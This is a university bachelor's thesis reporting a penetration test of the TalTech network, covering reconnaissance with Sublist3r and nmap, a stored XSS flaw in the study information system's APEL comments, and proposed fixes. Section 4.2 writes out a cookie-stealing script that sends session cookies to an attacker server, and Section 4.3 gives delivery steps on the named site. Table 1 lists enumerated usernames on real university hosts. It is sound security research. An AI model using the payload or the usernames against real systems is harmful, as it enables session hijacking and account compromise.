TALLINN UNIVERSITY OF TECHNOLOGY
School of Information Technologies
Department of Software Science

Anton Matskevitš 206753IAIB

TalTech Network Penetration Testing

Bachelor's Thesis (12 ECTS)

Supervisor: Tauseef Ahmed
PhD

Tallinn 2022

TALLINNA TEHNIKAÜLIKOOL
Infotehnoloogia teaduskond
Tarkvarateaduse instituut

Anton Matskevitš 206753IAIB

TalTech võrgu läbitungimise testimine

Bakalaureusetöö (12 EAP)

Juhendaja: Tauseef Ahmed
PhD

Tallinn 2022

Author’s declaration of originality

I hereby certify that I am the sole author of this thesis. All the used materials, references to the literature, and the work of others have been referred to. This thesis has not been presented for examination anywhere else.

Author: Anton Matskevitš

29.05.2022

Abstract

Today, the security of any network is important, due to the increased amount of cyber incidents happening. Those may be ransomware attacks, theft of important documents or personal data of workers or students, creation of a "botnet" for mining crypto-currencies, and many more. In any case, there may be a potential financial loss, because of ransom demand or system damage. It may lead to a loss of reputation resulting in a decrease in trust in the organization, which may further cause more financial damage.

Penetration testing is a method to validate the security of a system by performing a cyber attack, which is authorized, planned, and documented. At the end of the penetration testing process, the system's owner is provided a detailed report with a list of found vulnerabilities and recommendations on how to fix them.

The goal of this thesis is to find vulnerable places in the TalTech university network using penetration testing techniques, which potentially could be used by cybercriminals to harm the university. The outcome of the thesis is vulnerabilities discovered that are described with Proof of Concept, and solutions proposed to increase the security of the network are proposed. OWASP Top Ten project is used as a standard for checking security risks. The report with found issues and solutions is presented.

This thesis is written in English and is 26 pages long, including 6 chapters, and 2 tables.

Keywords: penetration testing, web application

Annotatsioon

TalTech võrgu läbitungimise testimine

Tänapäeval on küberintsidentide arvu suurenemise tõttu oluline iga võrgu turvalisus. Need võivad olla lunavararünnakud, oluliste dokumentide või töötajate või õpilaste isikuandmete vargused, krüptovaluutade kaevandamiseks mõeldud robotvõrgu loomine ja palju muud. Igal juhul võib lunaraha nõudmise või süsteemikahjustuste tõttu tekkida potentsiaalne rahaline kahju. See võib kaasa tuua maine kaotuse, mille tulemuseks on usalduse vähenemine organisatsiooni vastu, mis võib veelgi rohkem põhjustada rahalist kahju.

Tungimistestimine on meetod süsteemi turvalisuse kinnitamiseks küberrünnakuga, mis on autoriseeritud, planeeritud ja dokumenteeritud. Tungimise testimise lõpus on süsteemi omanik esitanud üksikasjaliku aruande koos leitud haavatavuste loendi ja soovitustega nende parandamiseks.

Lõputöö eesmärgiks on läbitungimise testimise tehnikate abil leida TalTechi ülikoolide võrgust haavatavad kohad, mida küberkurjategijad saaksid potentsiaalselt ülikooli kahjustamiseks kasutada. Lõputöö tulemuseks on avastatud haavatavused, mida kirjeldatakse Proof of Conceptiga ning pakutakse välja lahendusi võrgu turvalisuse tõstmiseks. OWASP Top Ten projekti kasutatakse turvariskide kontrollimise standardina. Esitatakse aruanne leitud probleemide ja lahendustega.

Lõputöö on kirjutatud inglise keeles ning sisaldab teksti 26 leheküljel, 6 peatükki, 2 tabelit.

Võtmesõnad: läbitungimise testimine, veebirakendus

List of abbreviations and terms

URL	Uniform resource locator, a web address
XSS	Cross-Site Scripting
CI/CD	Continuous integration/continuous delivery
HTML	HyperText Markup Language
HTTP	Hypertext Transfer Protocol
HTTPS	Hypertext Transfer Protocol Secure
CSS	Cascading Style Sheets
IT	Information Technology
USB	Universal Serial Bus
OS	Operating System
GDPR	General Data Protection Regulation
TV	Television
VPN	Virtual Private Network
SIS	Study Information System
ÕIS	Õppe infosüsteem
APEL	Accreditation of Prior Experiential Learning
IP	Internet Protocol
PHP	PHP programming language

Table of Contents

List of Tables

1 Introduction

The TalTech university has a big computer network which is an important infrastructure for students, scientists, and other employees. Higher technical education becomes more important for every country in the World. Hence, it is very important that universities have secure systems to make sure scientific and educational processes will not be interrupted and important confidential data will not be stolen.

One of the methods to verify the secureness of computer networks is penetration testing which is used in this thesis. This method has been chosen by the author because it simulates real cyberattacks to convince systems owners to improve security. This shows in practice that a system is indeed vulnerable or has design issues that could be used by an attacker to harm a system.

The **goal** of this research is to find out if there are any security issues in the TalTech network and provide a report describing all findings and propose solutions. To achieve that, the following **three steps** will be taken:

1. Find vulnerabilities in the TalTech network (Section 4.1);
2. Describe them and provide Proof of Concept (Sections 4.2 – 4.4);
3. Propose how to fix them and improve the situation to avoid such issues in the future (Section 6.2);

Research questions:

- What security issues are present in the TalTech network?
- How is it possible to fix discovered vulnerabilities?

The **expected outcome** is to show how the TalTech systems can be improved to avoid successful cyberattacks and losing money and the reputation of the university.

2 The problem set up

2.1 Background

Nowadays most organizations use computers to be more effective in their activity. As they grow bigger, more computing power is needed, hence, computer networks are built to allow people to cooperate better.

Every organization usually has computer networks, which people use to increase their work efficiency by sharing some data between different machines with the help of networking protocols. Very often bits of information have to be sent somewhere else, even outside of such a network to another organization or shared with ordinary people. Many organizations like the military, industry, hospitals, schools, governments, are working on the same principle. Cybercriminals are that kinds of computer users, who abuse computer systems to harm: destroy or put down networks, steal data, use computing power, steal money and ruin a reputation.

Penetration testing is a method to simulate an abuse of a computer system/network to find ways for exploiting it. It is a preemptive method to see how real criminals could exploit the system. The result of a penetration testing process is usually writing a report describing all the shortcomings discovered in the system and possible recommendations on how to improve security.

TalTech university has quite a big network, there are many employees and students, who work actively in many different fields like education and scientific projects utilizing many different computer systems and websites; therefore, the security of such a big network is a big question.

There may be old and obsolete technologies, developed in the past, and still in use without being patched or fixed. Recently many serious vulnerabilities in older web frameworks, IT infrastructures, and OS distributions have been found, which can have a tremendous effect on many systems, i.e. vulnerabilities Log4Shell for Java programming language's library Log4j [1], Sequoia for most Linux distributions like Ubuntu, Fedora [2], DirtyPipe for Linux kernel since 5.8 [3]. Or if older systems do not use such technologies, there may be design issues like no HTML sanitization in the forms of websites which may lead to code injections.

2.2 The goal of the thesis

The goal of this thesis is to verify the hypothesis stating that the TalTech network has vulnerabilities, which could be exploited by a student or even an outside user to harm the university. Such misuse of the system can include the disruption in systems work, getting the confidential information, or changing some public information. There are several steps to verify the hypothesis:

1. The theoretical part of the thesis is meant to describe what is penetration testing, how does it work, how is it structured, and what is the result of such activity;
2. In the practical part the testing of the TalTech network is described, including analysis of results received in different phases, made conclusions, and the next steps are chosen;
3. To describe and analyze the received results of the penetration testing;
4. Conclusions and proposed solutions based on the evaluation of the security of the TalTech network;

2.3 Methodology

In this thesis empirical-theoretical methods are used, which form the bases for the penetration testing phases (Section 3.1):

1. Observation: Reconnaissance phase;
2. Experiment: Weaponization, Delivery, Exploitation, Installation, Command & Control;
3. Measurement: Actions on objectives;
4. Description: final report;

The results of the penetration testing are utilized for the analysis of the system.

3 Penetration testing

3.1 Definition

Penetration testing is a method to test the security of computer systems. It is meant to find any security risk present in the system. This is typically made using the same methods real cybercriminals use to exploit the systems. The objective of the penetration testing process is to discover the vulnerabilities like software bugs, glitches, unchanged default configurations or errors in them, errors or bad solutions in general and bad design of features implemented.

Penetration testing can be divided into different phases. Organizations involved in cyber security usually construct their structures of cyberattacks or use existing ones which are based on The Cyber Kill Chain framework [4] which is developed by Lockheed Martin. Based on this framework, there are seven steps to performing a penetration test:

1. Reconnaissance-collecting data from opened sources like email addresses, conference information, subdomains, team members' names, etc;
2. Weaponization-preparing an exploit which is a program allowing to get access to a target system;
3. Delivery-delivering an exploit to the victim via email, USB, web, social engineering, etc;
4. Exploitation-use found vulnerabilities to execute code (an exploit) on the victim's system;
5. Installation-install malware, a software for making a computer act in a way we want, on the target;
6. Command & Control (C2) - create a channel for controlling the target;
7. Actions on objectives-perform actions to accomplish the original goals;

In each of the mentioned phases, a different set of tools is used, depending on a target, goal, and available resources for a project.

Ideally, penetration testing should be performed in several situations: after starting to use new software or its version, change anything in hardware configuration or its place (i.e. replace a processor for a newer one or move the server into another rack), extension, or change in a network (i.e. add new computers for newly hired workers), threats

or incidents discovered. The GDPR Article 32 [5] demands from organizations to perform penetration testing regularly to evaluate how effective are security measures in case of both physical and technical incidents.

3.2 Penetration testing frameworks

There are numerous different methods and practices on how to perform penetration testing, which are usually called frameworks or standards. Here are the top 5 of them [6].

1. OSSTMM (Open-Source Security Testing Methodology Manual)
2. OWASP (Open Web Application Security Project)
3. NIST (The National Institute of Standards and Technologies)
4. PTES (Penetration Testing Methodologies and Standards)
5. ISAAF (Information System Security Assessment Framework)

These standards or frameworks differ from the Cyber Kill Chain framework. They are manuals or standards about how software or system should be organized using proposed best practices. Therefore, a penetration tester could validate if any of these standards and best practices are violated making a system vulnerable. Whereas, the Cyber Kill Chain is a method to model cyberattacks and describes actions taken in each step of an attack.

3.2.1 OSSTMM

This framework provides a scientific methodology for network penetration testing and vulnerability assessment. It is a manual for both securing a network and testing it for vulnerabilities. Hence, it can be used by developers and system administrators as well. The framework does not recommend to use of any particular software or technologies, however, describes the best practices to use in building network security and lists steps to be taken to achieve desired results [7].

3.2.2 OWASP

This is the most recognized framework in the cyber security industry which is always up-to-date with the latest technologies. It describes commonly found vulnerabilities in web and mobile applications and it is also guiding the penetration testing process. As a result, it helps organizations to keep in mind unsafe development practices and avoid common mistakes in their software and the potential impact of those problems on their workflow [8].

3.2.3 NIST

The National Institute of Standards and Technology offers specific guidelines for penetration testers to follow while auditing a system. NIST is often required to follow in the US by regulators, hence, it is meant to guarantee cybersecurity for industries like banks, energy, and communications sectors [9].

3.2.4 PTES

This framework guides penetration testers to make themselves familiar with their target and technological aspect before starting to look for vulnerabilities. This should allow identifying the most advanced attack scenarios to try out. Also, there are guidelines on performing post-exploitation testing which allows for making sure that found vulnerabilities have been fixed [10].

3.2.5 ISSAF

This is a set of standards is a well-structured manual allowing testers to document and plan every step, and choose a particular tool for each step. There is a lot of information about various attack vectors presented for each vulnerability type of a system. Tools that are most often used by the attacker are described. This knowledge allows the planning of advanced attack scenarios for testing [11].

3.2.6 The choice of penetration testing framework

Each of the penetration testing frameworks mentioned in the previous section has its specialties. OWASP framework has been chosen for this study since it is focused on web applications security. There are websites hosted in the university network developed by students, who may be unaware of secure programming best practices. These websites can become the lowest hanging fruit for an attacker.

3.3 OWASP Top 10

The OWASP Top 10 project is a document that lists the most critical security risks a web developer must avoid and security testers must check in the first place. Every new version of this top 10 has changes, which can be used to illustrate where the industry is moving. For example, the previous version from the year 2017 has a code injection as the first issue, however, in the current version from the year 2021, this issue is in the third place. This shows, that modern technologies evolved so much that threat trends are changing with the passage of time.

The current OWASP Top 10 from the year 2021 threats are the following [12]:

1. A01:2021 Broken Access Control – users can act outside of their permissions, i.e. regular clients can access the admin page;
2. A02:2021 Cryptographic Failures – this issue can lead to sensitive data exposure in an application, i.e. passwords are encrypted in a database with built-in database encryption, however, after retrieving them they get decrypted, hence SQL injection could expose passwords;
3. A03:2021 Injection – security issue meaning that a user can input information containing a code snippet which could expose data, i.e. SQL injection containing ` or `1`=`1 sent as an id can change the meaning of a query and return all records in a table;
4. A04:2021 Insecure Design – this is a broad category that demands the usage of secure design patterns in software development, i.e. a code containing questions and answers to recover credentials is prohibited by OWASP Top 10 and NIST 800-63b, because those cannot be trusted as evidence of identity, i.e. anyone can know those answers [13];
5. A05:2021 Security Misconfiguration – application has a configuration that could expose critical data to an attacker. It can be due to the use of unnecessary features or default accounts, which are vulnerable or out of date, the server does not send security headers. For example, the default account has not been removed from the production version of an application which can be used by an attacker to gain initial access to a system;
6. A06:2021 Vulnerable and Outdated Components – all the used software components should be checked for vulnerabilities and updated, considering if there are known vulnerabilities for the software, an attacker can use them to abuse the system;
7. A07:2021 Identification and Authentication Failures – it has been renamed from Broken Authentication which means problems with identifying and authenticating users, i.e. allows them to choose weak passwords like “password” or “qwerty”;
8. A08:2021 Software and Data Integrity Failures – this category is about making assumptions about critical data, CI/CD (continuous integration and continuous delivery) pipelines, and software updates without verifying their integrity. Some devices (like home routers and smart TVs) do not verify received software updates via signed firmware [14];
9. A09:2021 Security Logging and Monitoring Failures – application does not have enough logging which can lead to a situation when the website administrator will not be able to detect a breach;

10. A10:2021 Server-Side Request Forgery – a user can make an application to send a composed query to an unexpected destination which will bypass VPNs and firewalls;

4 Testing process

4.1 Reconnaissance

The first step is to perform the reconnaissance to find more about the domains of the university. Then every domain should be scanned with a network scanner. At the end, generated reports should be compiled to allow analyze the whole results at once. A python script called reconner.py (see Appendix 3) is written to automate the described process [23].

Firstly, the Sublist3r [15] is used for domain discovery and, it has found 145 sub-domains for the taltech.ee domain. The next step is to perform the scan for all these subdomains using nmap [16]. Since there are many sub-domains, a manual nmap scan would have taken many hours, if not days, therefore, a custom bash script is written to automate the process (see Appendix 1). It performs the nmap scan using vuln scripts with the command below on all found sub-domains which are stored to $line variable one by one.

```
nmap -sV -sC --script=vuln -vv -Pn -oA subs/$line/vuln $line
```

After the scan is completed, the nmap has given the output as 145 folders with reports in each of them. It is a cumbersome process to analyze all these reports manually, therefore, a python script is written to compose a single report with all 145 hosts scan (see Appendix 2). The script asks a user for a directory and then parses all reports found in that directory creating a compilation of those reports.

There are 70 machines with opened 80/tcp ports and 82 with opened 443/tcp ports which correspond to the HTTP and HTTPS protocols respectively. Those ports are usually used for hosting websites that can be checked by web browsers like Firefox [17]. Firefox is chosen for further analysis as it has its developer tool and many add-ons available that help research websites, study their source code, cookies, and see request/ response data. Firefox is then used to analyze the results from the scan in the light of OWASP Top 10.

4.1.1 Finding potentially vulnerable sub-domains

Most of the vulnerable websites are based on the Wordpress website builder [18]. For example, all of such websites have a login page at path /wp-login.php or /wp-admin. The problem with wordpress's login pages is that after an unsuccessful login attempt, an

error message appears describing that there is no such username found or, if a used username is found, then the password is wrong. This means, that a brute-force attack can be performed using such username. The nmap scan has found a lot of worpdress usernames which can be used for password brute-force attacks. Table 1 shows usernames found in the nmap scan reports.

Table 1. Usernames found by nmap vulnerabilities scan and hosts.

Website address	**Found usernames**
maricybera.taltech.ee	admin alvar kristelkiku
vidrik.taltech.ee	admin
autolab.taltech.ee	ingmar05 raivo-sell
teejuht.taltech.ee	rico kadi diana saara heleriin dima sabinamaidla mark
bioeng.taltech.ee	admin rekenaalina belouahisma
5gsolar.taltech.ee	admin merike_k
iseauto.taltech.ee	admin raivo ingmar05 johannes marily tomykalm
ivar.taltech.ee	vk mg yb sp
www.oigusaktid.taltech.ee	havas kairi aldo mereakadeemia inseneriteaduskond infotehnoloogia-teaduskond majandusteaduskond loodusteaduskond

The SIS (ÕIS in Estonian which means Study Information System) is also an interesting domain. When a request to open the ois2.taltech.ee is sent from a browser, a response

containing 14 readable files is received. Among libraries' (jquery, ckeditor, sweetalert, and google's jsapi), there are files inside uusois folder:

1. uus_ois2.ois2_javascript.js (1493 lines);
2. uus_ois2.sys_js_ametnik.js (18343 lines);
3. uus_ois2.sys_js_ametnik_tmp.js (empty);
4. uus_ois2.sys_js3.js (1048 lines);
5. uus_ois2.TIMEPICKER_JS.js (1261 lines);
6. uus_ois2.tud_leht.html (312 lines);

Only the last one contains the source code for the rendered page. Therefore, all the rest files are unnecessary on the initial website load. For javascript functions used on the home page, a new standalone file should be created. This is the only javascript file in uusois folder that should be sent on loading the home page.

4.1.2 SIS

Analysis shows that files from the uusois folder contain client-side code, including sending requests on the server. This data should not be shown to clients, especially to those who are not logged in. Hence, it is a A01:2021 Broken Access Control, A02:2021 Cryptographic Failures, and A04:2021 Insecure Design. Only necessary javascript files (those with basic functionality sufficient for logging in, animations on the main page, and similar, not containing any important business logic) should be passed for unauthorized users.

For further testing, the author's student account is used. It is discovered that logged in users receive all the mentioned files from Section 4.1.1, however, with certain changes:

1. uus_ois2.sys_js_ametnik_tmp.js - is not empty anymore containing 722 lines;
2. uus_ois2.sys_js_avaldus.js (1147 lines) – a new file;
3. uus_ois2.sys_js_ehis.js (empty) – a new file;
4. uus_ois2.sys_js_vota.js (4173 lines) – a new file;

A careful study has revealed that in these mentioned javascript files the following insecure code parts have been discovered.

1. Function getrnd in uus_ois2.sys_js_ametnik.js is meant for generating random numbers, but actually, it just uses date, hence, the returned numbers are pseudo-random numbers that can be easily calculated by an attacker;
2. All functions meant for sending request for showing new page have hard-coded page IDs which can be used for manipulating requests, i.e. javascript function

showTudData has variable called p1 initialized with a value "413332E484BE8E40CE20FF179AAFEE7249B437D59F4E41FED5F-B97113E142FC3" then this variable is used in jquery get request as _page value;

3. All used variables are declared using var meaning that they are mutable and can be changed in runtime making the application vulnerable to Buffer Overflow attacks;
4. It is quite easy to understand the business logic of the application because the code is not obfuscated or anyhow made not readable, i.e. function with the name minuDoktorant tells that there is a possibility to request data about PhD students, function importHinded says that grades can be uploaded from an external file, function smdigidoc informs us that grades must be acknowledged by signing them with digital signature;
5. In the uus_ois2.sys_js_vota.js file, there are two functions for removing APEL applications called kustutaVotaTaotlus and kustutaVotaTaotlus2. However, the user interface does not have buttons for removing applications (in case there is at least one APEL subcategory added, otherwise there is a "delete" button). So if there are no interface elements invoking functions, there should be no functions to avoid using requests from that functions by an attacker;
6. In the uus_ois2.sys_js_vota.js file, there are commenting functions including addVotaKommentaar and salvestaVotaKommentaar, which only check if a comment's length is zero. As there are no other filters nor checks, injection of javascript code may be possible here;

The SIS website does not ask for consent from users to use cookies [19] nor documents anywhere their usage. Secondly, there are two users cookies named ois_client_ident and ois_user_ctx_key which can be changed by the user in a browser. This may result in accessing data meant for another user.

4.1.3 Results analysis

During the reconnaissance phase of 9 websites in the TalTech network, usernames have been discovered using just nmap vulnerability scan. This finding can be used for brute-force attacks to guess passwords.

The SIS website provides too much unnecessary javascript code which is readable by users and potentially can be used by attackers for abusing server requests. Also, this code can be analyzed to understand business logic and find more vulnerabilities.

The author of the thesis has performed such an analysis: functions in javascript code have been researched to find any potential entry points into the system, which could be abused.

When the APEL application removing functions have been discovered, no corresponding buttons were found for this action. This is a sign of a poorly designed web application component. Therefore, after more accurate analysis the potential possibility to post javascript code into APEL application comments has been discovered in the file uus_ois2.sys_js_vota.js function addVotaKommentaar. Together with a comment saving function called salvestaVotaKommentaar, they do not verify a comment's content, nor sanitize it in any way.

4.2 Weaponization

From the previous phase, javascript code injection into the APEL application comment form has been chosen as the most promising potential attack vector on the SIS website.

A real cybercriminal most probably would have used a user's session hijacking attack. This means stealing another user's cookies to pretend to be that user. As APEL application comment is sent to people, who are in charge of those applications, they would be targets of this activity.

Everything an attacker needs is to compose a javascript code snippet that will send a user's cookies to an attacker's server. For example, such a server's IP address is 10.10.10.5 and there is a PHP code in the collector.php file collecting received cookies as a parameter named "trophy". Then such a snippet would look like this:

```
<script>
      new Image().src="http://10.10.10.5/collector.php?trophy=" +
      document.cookie;
</script>
```

After the APEL application page with injected code shown above will be opened by any user, including the one working on such applications, the code gets executed and a new request will be sent to the attacker's server at 10.10.10.5 with the cookie values in the URL, which will look like this:

```
http://10.10.10.5/collector.php?trophy=ois_ltype=2;%20Test=test:test;
%20meny_vota=0;%20ois_user_ctx_key=529520606790402022041920184263;%20
ois_client_ident=1723836686309CB1E22CD900337996DEC23B0DAF5F70DE39C9FBE
874CC37E26ACA4B6EC41347F98A25B0F39FEDDEDFED02DCB7E5020BC8373AE15BEC049
5149C;%20ois_version=big;%20ois_lang=ET;%20ois_last_menu=a23
```

Refer to the Table 2 for all cookies values sent in the URL above as value of "trophy" argument.

Table 2. Cookies' names and values sent to an attacker's server

Cookie name	**Cookie value**
ois_ltype	2
Test	test:test

meny_vota	0
ois_user_ctx_key	52952060679040202204192018422 63
ois_client_ident	1723836686309CB1E22CD900337996-DEC23B0DAF5F70DE39C9FBE874C-C37E26ACA4B6EC41347F98A25B0F39FED-DEDFED02DCB7E5020B-C8373AE15BEC0495149C
ois_version	big
ois_lang	ET
ois_last_menu	a23

As a result, an attacker will receive ois_user_ctx_key and ois_client_ident values which can be used to pretend to be another user and perform privileged actions. Alongside with opened business logic of the SIS, this makes it a very serious vulnerability.

As a proof of concept, the following code can be used:

```
<script>
      alert(document.domain)
</script>
```

This will open an alert window with the website's domain, in this case, it is ois2.ttu.ee, which can be closed without any harmful effect.

4.3 Delivery

The delivery of the code snippet described in Section 4.2 can be performed from APEL application functionality. For that the steps below should be followed:

1. Login to ois2.ttu.ee using a student's account;
2. In the left navigation menu under the Documents section click on APPLICATIONS;
3. At the bottom of the opened page click on Apply next to the APEL application;
4. Click on "Add new APEL subcategory" and then "Back to the application" buttons;
5. Now at the bottom of the page under the Comments section click Add new;
6. In the appeared window any javascript and HTML code can be added, preferably in one line to avoid formatting new lines with
 tag;

4.4 Exploitation, Installation, C&C, and Actions on objectives

These phases can be merged into one because the goal of this experiment is to prove that an ordinary student can manipulate data in the TalTech network. Hence, after delivering the payload from the Section 4.2 in a way described in Section 4.3, the attackers' next steps would be the following:

1. Wait for requests, which victims' machines would send to their server;
2. Receive other users' cookies;
3. Make a request for the SIS server using received cookies to pretend to be another user;
4. Read and manipulate other user's data;

5 Results

This thesis is meant to check if the TalTech network has any vulnerabilities which can be exploited by a student. The penetration methods have been used including reconnaissance, analysis of the discovered information about the network, choosing the most possible attack vector, and simulating an attack to verify the existence of vulnerabilities.

It has been found that the SIS hosted on https://ois2.ttu.ee is vulnerable to XSS attacks which has been confirmed by javascript code injection into comments of APEL applications. Together with this attack and the fact that the whole business logic is received by any user as javascript files, makes the whole SIS is easily exploitable by an attacker.

Cookies used in SIS are not using HttpOnly [20] which gives a possibility for an attacker to get another user's cookies' values after using XSS and then get access to privileged actions.

Also, during the reconnaissance phase usernames for several TalTech systems have been found to provide a possibility for a brute-forcing attack to discover their passwords.

6 Conclusion

6.1 Conclusion

All the results are shown in chapter 5 state that a student can abuse the SIS and get access to other users' data and even perform an action on their behalf.

6.2 Proposed Solution for the discovered vulnerabilities

There are several vulnerabilities discovered:

1. Not obfuscated javascript code easily readable for a client;
2. Too much unnecessary code is sent to a client;
3. Vulnerability for XSS;
4. Cookies without HttpOnly flag;
5. Discoverable by nmap scan usernames.

6.2.1 Javascript code obfuscation

Obfuscation means changing the code's readability, however, saving the functionality at the same time. The goal is to make reverse engineering and understanding what a program does harder and more time-consuming. There are several tools on the market, which obfuscate javascript code, for example, these:

1. https://javascriptobfuscator.com/
2. https://github.com/javascript-obfuscator/javascript-obfuscator
3. https://obfuscator.io/

They can be used before sending a code to a client from a server, so it would be executable, but not readable anymore.

6.2.2 Too much code sent to a client

When the SIS website is loaded, the browser receives uus_ois2.sys_js_ametnik.js file with 18343 lines most of which are unnecessary at that point. Firstly, it uncovers the application's business logic for even not logged in users, secondly, it makes the application much slower. So the solution here is to refactor the code sent to the client-side and put it into smaller separate files and send them only when corresponding functionality is necessary for a user.

6.2.3 XSS vulnerability

Cross-Site Scripting vulnerability is an injection of some malicious code into a website [21]. In the case of the SIS, together with other found vulnerabilities, XSS becomes very dangerous and should be fixed in the first place. For that several techniques can be used [22]:

1. Framework security – use modern web frameworks like React or Angular, as they have built-in security measures;

2. XSS Defense Philosophy – use only protected variables, validate them, escape and sanitize before using in HTML;

3. Encode an output – variables must be counted as text, not code. This is a big section that includes encoding output in different contexts like HTML, HTML Attribute, Javascript, CSS, and URL. This means, that for every one of them generic output used by code should be encoded paying attention to special symbols which usually are used for code injections;

4. HTML Sanitization – when an application has functionality for changing how a user's input should look, HTML can be added by them, which has to be changed to avoid the application's functionality and visual part change;

6.2.4 Cookies without HttpOnly flag

This HTTP flag is used in the Set-Cookie HTTP response header and asks the browser (if it supports this functionality) not to show a cookie to a client [20]. This can help against manipulating cookies from a browser and client-side script. Even if a

corresponding XSS vulnerability is present, a browser will not show any results on invoking

```
document.cookie
```

6.2.5 Usernames discoverable by nmap

For wordpress websites, usernames are discoverable by nmap script http-wordpress-users, which is part of vuln category used in Section 4.1. The comment in this script says that it exploits information disclosure vulnerability existing in versions 2.6, 3.1, 3.1.1, 3.1.3, and 3.2-beta2 and possibly others (see Appendix 3). Therefore, the solution to this problem is fixing this vulnerability. However, the issue is that even in login forms of wordpress websites when a user enters the wrong password for an existing user, an error message appears stating, that the entered password is wrong for that user which reveals the fact that such a user exists. So this issue needs a solid solution from the wordpress developers first.

6.3 Future research

This thesis is limited by only one system and a small part of nmap scan results. In further research, more SIS vulnerabilities may be discovered and more other hosts should be analyzed. Moreover, according to security rules mentioned in Section 3.1, after the SIS website's discovered vulnerabilities are resolved, another penetration test has to be made to make sure all issues are fixed and no new vulnerabilities appeared.

References

[1] CVE – CVE-2021-44228 [Online] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

[2] Sequoia local privilege escalation Linux [Online] https://www.qualys.com/2021/07/20/cve-2021-33909/sequoia-local-privilege-escalation-linux.txt

[3] The Dirty Pipe Vulnerability [Online] https://dirtypipe.cm4all.com/

[4] The Cyber Kill Chain framework by Lockheed Martin [Online] https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/Gaining_the_Advantage_Cyber_Kill_Chain.pdf/

[5] GDPR Article 32. Security of processing [Online] https://gdpr-info.eu/art-32-gdpr/

[6] Top 5 Penetration testing Methodologies and Standards [Online] https://www.vumetric.com/blog/top-penetration-testing-methodologies/

[7] The Open Source Security Testing Methodology Manual [Online] https://www.isecom.org/OSSTMM.3.pdf/

[8] OWASP [Online] https://owasp.org/

[9] NIST Releases Version 1.1 of its Popular Cybersecurity Framework [Online] https://www.nist.gov/news-events/news/2018/04/nist-releases-version-11-its-popular-cybersecurity-framework/

[10] The Penetration Testing Execution Standard [Online] http://www.pentest-standard.org/index.php/Main_Page/

[11] Information System Security Assessment Framework (ISSAF) [Online] https://www.futurelearn.com/info/courses/ethical-hacking-an-introduction/0/steps/71521/

[12] OWASP Top Ten Web Application Security Risks | OWASP [Online] https://owasp.org/www-project-top-ten/

[13] A04 Insecure Design – OWASP Top 10:2021 [Online] https://owasp.org/Top10/A04_2021-Insecure_Design/

[14] [A08 Software and Data Integrity Failures – OWASP Top 10:2021 [Online] https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/

[15] Sublist3r [Online] https://github.com/aboul3la/Sublist3r/

[16] Nmap [Online] https://nmap.org/

[17] Firefox [Online] https://www.mozilla.org/

[18] Wordpress [Online] https://wordpress.com/

[19] GDPR [Online] https://gdpr.eu/cookies/

[20] HttpOnly – Set-Cookie HTTP response header | OWASP [Online] https://owasp.org/www-community/HttpOnly/

[21] Cross Site Scripting (XSS) Software Attack | OWASP [Online] https://owasp.org/www-community/attacks/xss/

[22] Cross Site Scripting Prevention – OWASP Cheat Sheet Series [Online] https://owasp.org/www-community/attacks/xss/

[23] antomatskev/reconner – github.com [Online] https://github.com/antomatskev/reconner

Appendix 1 – Bash script auto_scan.sh

```
#!/bin/bash
echo "=======STARTED SCANS======"
file="subdomains.txt"
if test -d "subs"
      then
            echo ""
      else
            mkdir subs
      fi
while read -r line
do
      echo "=======SCANNING $line"
      if test -f "subs/$line/vuln.nmap"
            then
                  echo "Already have data for $line"
            else
                  mkdir subs/$line
                  nmap -sV -sC --script=vuln -vv -Pn -oA
subs/$line/vuln $line
      fi
done < "$file"
echo "========FINISHED SCANS======"
```

Appendix 2 – Python script reports_glue.py

```
import os

REPORT_FILE = "vuln.nmap"

dir = "subs"

files = []
if os.path.isdir(dir):
      print(f"Composing reports from {dir}...")
      for d in os.walk(dir):
            if 0 < len(d) <= 3 and len(d[1]) == 0:
                  report = d[0] + "/" + d[2][1]
                  files.append(report)
else:
      print(f"{dir} not found")

divider = "====================================\n"
reports = []
final_rep = open("final_report.nmap", "w")
for f in files:
      with open(f) as report:
            final_rep.write(divider)
            final_rep.write(f.split("/")[1])
            final_rep.write("\n")
            final_rep.write(divider)
            final_rep.write(report.read())

final_rep.close()
print("Your report is ready. See final_report.nmap")
```

Appendix 3 – Python script reconner.py

```
import os

def start():
      domain_to_scan = input("Enter website for scanning: ")
      if domain_to_scan:
            print(f"Scanning {domain_to_scan} with Sublist3r...")
            sublister(domain_to_scan)
            nmapper()
            glue()
      else:
            print("Wrong website. Try again.")

def sublister(link):
      os.system(f"python3 Sublist3r/sublist3r.py -d {link} -o
subdomains.txt")

def nmapper():
      os.system("./auto_scan.sh")

def glue():
      os.system("python3 reports_glue.py")

start()
```

Appendix 4 – Nmap script http-wordpress-users.nse

```
local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"

description = [[
Enumerates usernames in Wordpress blog/CMS installations by exploiting
an
information disclosure vulnerability existing in versions 2.6, 3.1,
3.1.1,
3.1.3 and 3.2-beta2 and possibly others.

Original advisory:
* http://www.talsoft.com.ar/site/research/security-advisories/word-
press-user-id-and-user-name-disclosure/
]]

---
-- @usage
-- nmap -p80 --script http-wordpress-users <target>
-- nmap -sV --script http-wordpress-users --script-args limit=50 <tar-
get>
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-wordpress-users:
-- | Username found: admin
-- | Username found: mauricio
-- | Username found: cesar
-- | Username found: lean
-- | Username found: alex
-- | Username found: ricardo
-- |_Search stopped at ID #25. Increase the upper limit if necessary
with 'http-wordpress-users.limit'
--
-- @args http-wordpress-users.limit Upper limit for ID search. De-
fault: 25
-- @args http-wordpress-users.basepath Base path to Wordpress. De-
fault: /
-- @args http-wordpress-users.out If set it saves the username list in
this file.
---

author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"auth", "intrusive", "vuln"}
```

```
portrule = shortport.http

---
-- Returns the username extracted from the url corresponding to the id
passed
-- If user id doesn't exists returns false
-- @param host Host table
-- @param port Port table
-- @param path Base path to WP
-- @param id User id
-- @return false if not found otherwise it returns the username
---
local function get_wp_user(host, port, path, id)
  stdnse.debug2("Trying to get username with id %s", id)
  local req = http.get(host, port, path.."?author="..id, { no_cache =
true})
  if req.status then
    stdnse.debug1("User id #%s returned status %s", id, req.status)
    if req.status == 301 then
      local _, _, user = string.find(req.header.location,
'https?://.*/.*/(.*)/')
      return user
